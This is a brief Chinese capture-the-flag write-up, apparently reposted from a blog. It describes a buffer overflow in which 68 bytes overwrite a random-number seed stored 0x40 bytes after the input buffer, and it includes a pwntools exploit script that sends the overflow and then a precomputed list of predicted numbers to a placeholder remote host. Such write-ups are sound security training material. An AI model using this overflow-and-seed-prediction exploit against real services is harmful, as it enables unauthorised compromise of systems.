buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断,所以我们只要覆盖到之前的 seed 就可以为所欲为了。
同时注意到 seed 跟 buf 相差的偏移是 0x40,所以只要 68 个字符就可以溢出覆盖 seed 了。
由于担心 python 的 randint 实现跟 libc 的不太一样,所以我写了个小程序
在vim编译运行.c文件步骤:
1. vim filename.c
2. gcc filename.c -o newfilename
3. ./newfilename
from pwn import *
r = remote(‘ip‘, port)
nums = [4,5,5,4,3,1,5,4,3,3,5,4,1,2,2,4,5,4,6,1,4,5,6,4,5,4,2,4,2,5,1,5,3,5,1,5,3,3,2,5,3,4,6,3,3,1,5,2,2,2]
exp = ‘‘.join([ ‘\xFF‘ for i in xrange(68)])
r.sendline(exp)
for i in nums:
r.sendline(str(i))
r.interactive()
原文:https://www.cnblogs.com/ctf-pwn-player/p/10806992.html